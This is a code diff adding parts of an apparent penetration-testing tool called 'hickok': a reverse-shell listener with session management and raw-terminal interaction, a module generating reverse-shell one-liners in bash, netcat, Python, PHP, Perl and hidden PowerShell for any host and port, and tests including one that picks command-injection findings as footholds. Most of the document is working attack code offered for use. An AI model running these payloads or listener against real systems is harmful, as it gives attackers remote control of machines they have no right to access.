+ return
153
+ if not sys.stdin.isatty():
154
+ self.console.warn("interact needs a real TTY — use 'cmd <id> ...' here")
155
+ return
156
+
157
+ import termios
158
+ import tty
159
+
160
+ loop = asyncio.get_event_loop()
161
+ fd = sys.stdin.fileno()
162
+ old = termios.tcgetattr(fd)
163
+ detached = asyncio.Event()
164
+
165
+ def on_stdin() -> None:
166
+ try:
167
+ data = os.read(fd, 4096)
168
+ except OSError:
169
+ detached.set()
170
+ return
171
+ if b"\x1d" in data: # Ctrl-]
172
+ detached.set()
173
+ return
174
+ asyncio.ensure_future(sess.send(data))
175
+
176
+ self.console.info(f"interacting with session {sess.id} — detach: Ctrl-]")
177
+ try:
178
+ # Raw mode so our terminal stops cooking input: every keystroke
179
+ # (Ctrl-C, tab, arrows) goes straight to the remote shell instead of
180
+ # being handled locally. We restore the saved settings in `finally`.
181
+ tty.setraw(fd)
182
+ sess.mirror_on()
183
+ loop.add_reader(fd, on_stdin)
184
+ await detached.wait()
185
+ finally:
186
+ loop.remove_reader(fd)
187
+ sess.mirror_off()
188
+ termios.tcsetattr(fd, termios.TCSADRAIN, old)
189
+ self.console.plain("")
@@ -0,0 +1,49 @@
1
+ """Reverse-shell payload generation and the TTY-upgrade primitive."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import socket
6
+
7
+ # Sent to a connected dumb shell to turn it into a full PTY.
8
+ TTY_UPGRADE = "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
9
+
10
+
11
+ def guess_lhost() -> str:
12
+ """Best-effort local IP (the address used to reach the default route)."""
13
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
14
+ try:
15
+ s.connect(("8.8.8.8", 80))
16
+ return s.getsockname()[0]
17
+ except Exception:
18
+ return "127.0.0.1"
19
+ finally:
20
+ s.close()
21
+
22
+
23
+ def generate(lhost: str, lport: int) -> dict[str, str]:
24
+ """Return a map of {name: reverse-shell one-liner} for the given LHOST/LPORT."""
25
+ return {
26
+ "bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
27
+ "sh-fifo": f"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
28
+ "nc-e": f"nc -e /bin/sh {lhost} {lport}",
29
+ "python3": (
30
+ "python3 -c 'import socket,os,pty;s=socket.socket();"
31
+ f's.connect(("{lhost}",{lport}));'
32
+ "[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\"/bin/bash\")'"
33
+ ),
34
+ "php": f"php -r '$s=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
35
+ "perl": (
36
+ f"perl -e 'use Socket;$i=\"{lhost}\";$p={lport};"
37
+ "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"
38
+ "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");"
39
+ "open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
40
+ ),
41
+ "powershell": (
42
+ "powershell -nop -W hidden -c \"$c=New-Object System.Net.Sockets.TCPClient('"
43
+ f"{lhost}',{lport});$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};"
44
+ "while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName "
45
+ "System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);"
46
+ "$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);"
47
+ "$s.Write($sb,0,$sb.Length);$s.Flush()}\""
48
+ ),
49
+ }
@@ -0,0 +1,101 @@
1
+ """Connected reverse-shell sessions and their registry."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import asyncio
6
+ import sys
7
+ import time
8
+
9
+
10
+ class ShellSession:
11
+ """One connected shell. A background task pumps inbound data either into a
12
+ queue (so `cmd` can collect a burst of output) or straight to stdout (while
13
+ interacting)."""
14
+
15
+ def __init__(self, sid: int, reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
16
+ self.id = sid
17
+ self.reader = reader
18
+ self.writer = writer
19
+ self.peer = writer.get_extra_info("peername") or ("?", 0)
20
+ self.connected = time.time()
21
+ self.alive = True
22
+ self._queue: asyncio.Queue[bytes] = asyncio.Queue()
23
+ self._mirror = False
24
+ self._task: asyncio.Task | None = None
25
+
26
+ def start(self) -> None:
27
+ self._task = asyncio.create_task(self._pump())
28
+
29
+ async def _pump(self) -> None:
30
+ try:
31
+ while True:
32
+ data = await self.reader.read(4096)
33
+ if not data:
34
+ break
35
+ if self._mirror:
36
+ sys.stdout.buffer.write(data)
37
+ sys.stdout.buffer.flush()
38
+ else:
39
+ await self._queue.put(data)
40
+ except Exception:
41
+ pass
42
+ finally:
43
+ self.alive = False
44
+
45
+ async def send(self, data: bytes) -> None:
46
+ self.writer.write(data)
47
+ await self.writer.drain()
48
+
49
+ async def collect(self, timeout: float = 1.0) -> bytes:
50
+ """Drain buffered output for up to `timeout` seconds of silence."""
51
+ chunks: list[bytes] = []
52
+ try:
53
+ while True:
54
+ chunks.append(await asyncio.wait_for(self._queue.get(), timeout=timeout))
55
+ except asyncio.TimeoutError:
56
+ pass
57
+ return b"".join(chunks)
58
+
59
+ def mirror_on(self) -> None:
60
+ # Flush whatever is queued, then stream subsequent output to stdout.
61
+ while not self._queue.empty():
62
+ sys.stdout.buffer.write(self._queue.get_nowait())
63
+ sys.stdout.buffer.flush()
64
+ self._mirror = True
65
+
66
+ def mirror_off(self) -> None:
67
+ self._mirror = False
68
+
69
+ def close(self) -> None:
70
+ self.alive = False
71
+ try:
72
+ self.writer.close()
73
+ except Exception:
74
+ pass
75
+
76
+ @property
77
+ def age(self) -> str:
78
+ return f"{int(time.time() - self.connected)}s"
79
+
80
+
81
+ class SessionManager:
82
+ def __init__(self):
83
+ self._sessions: dict[int, ShellSession] = {}
84
+ self._counter = 0
85
+
86
+ def add(self, reader, writer) -> ShellSession:
87
+ self._counter += 1
88
+ sess = ShellSession(self._counter, reader, writer)
89
+ self._sessions[sess.id] = sess
90
+ return sess
91
+
92
+ def get(self, sid: int) -> ShellSession | None:
93
+ return self._sessions.get(sid)
94
+
95
+ def remove(self, sid: int) -> None:
96
+ sess = self._sessions.pop(sid, None)
97
+ if sess:
98
+ sess.close()
99
+
100
+ def all(self) -> list[ShellSession]:
101
+ return list(self._sessions.values())
@@ -0,0 +1,32 @@
1
+ from hickok.cli import _with_default_command
2
+ from hickok.console import Console
3
+
4
+
5
+ def test_banner_shows_eights_and_wild_bill(capsys):
6
+ Console(color=False, banner=True).banner()
7
+ out = capsys.readouterr().out
8
+ assert "8♠" in out and "8♣" in out # Hickok holds the eights
9
+ assert "HICKOK" in out.replace(" ", "") # the wordmark (spaced)
10
+ assert "Hickok" in out and "1876" in out # the memorial
11
+
12
+
13
+ def test_eights_reveal(capsys):
14
+ Console(color=False, banner=False).eights()
15
+ out = capsys.readouterr().out
16
+ assert "8♠" in out and "8♣" in out
17
+ assert "eights" in out
18
+
19
+
20
+ def test_dead_mans_hand_completes_and_credits_wraith(capsys):
21
+ Console(color=False, banner=False).dead_mans_hand(dealt_by_wraith=True)
22
+ out = capsys.readouterr().out
23
+ assert "A♠" in out and "A♣" in out and "8♠" in out and "8♣" in out
24
+ assert "dead man's hand" in out
25
+ assert "wraith" in out # the catch is credited
26
+
27
+
28
+ def test_listen_is_the_default_command():
29
+ assert _with_default_command(["-l", "9001"]) == ["listen", "-l", "9001"]
30
+ assert _with_default_command([]) == []
31
+ assert _with_default_command(["hand", "x.json"]) == ["hand", "x.json"]
32
+ assert _with_default_command(["--no-color", "-l", "9001"]) == ["--no-color", "listen", "-l", "9001"]
@@ -0,0 +1,27 @@
1
+ import json
2
+
3
+ from hickok import findings
4
+
5
+
6
+ def test_is_foothold_flags_code_execution():
7
+ assert findings.is_foothold("Command Injection in 'host'") is True
8
+ assert findings.is_foothold("Server-Side Template Injection in 'name'") is True
9
+ assert findings.is_foothold("Reflected XSS in 'q'") is False
10
+ assert findings.is_foothold("SQL Injection (boolean blind) in 'id'") is False
11
+
12
+
13
+ def test_footholds_filters_actionable():
14
+ items = [
15
+ {"title": "Command Injection in 'host'", "severity": "Critical", "target": "http://t/ping"},
16
+ {"title": "Reflected XSS in 'q'", "severity": "High", "target": "http://t/search"},
17
+ {"title": "SSTI in 'name'", "severity": "High", "target": "http://t/render"},
18
+ ]
19
+ foot = findings.footholds(items)
20
+ assert {f["target"] for f in foot} == {"http://t/ping", "http://t/render"}
21
+
22
+
23
+ def test_load_reads_wraith_json(tmp_path):
24
+ p = tmp_path / "findings.json"
25
+ p.write_text(json.dumps([{"title": "x", "severity": "Low", "target": "http://t/"}]))
26
+ data = findings.load(str(p))
27
+ assert isinstance(data, list) and data[0]["title"] == "x"
@@ -0,0 +1,13 @@
1
+ from hickok import payloads
2
+
3
+
4
+ def test_generate_has_common_shells_with_lhost_lport():
5
+ p = payloads.generate("10.10.14.7", 9001)
6
+ assert {"bash", "python3", "nc-e", "php", "perl", "powershell"} <= set(p)
7
+ assert "10.10.14.7" in p["bash"] and "9001" in p["bash"]
8
+ assert "/dev/tcp/10.10.14.7/9001" in p["bash"]
9
+
10
+
11
+ def test_guess_lhost_returns_an_address():
12
+ host = payloads.guess_lhost()
13
+ assert isinstance(host, str) and host.count(".") == 3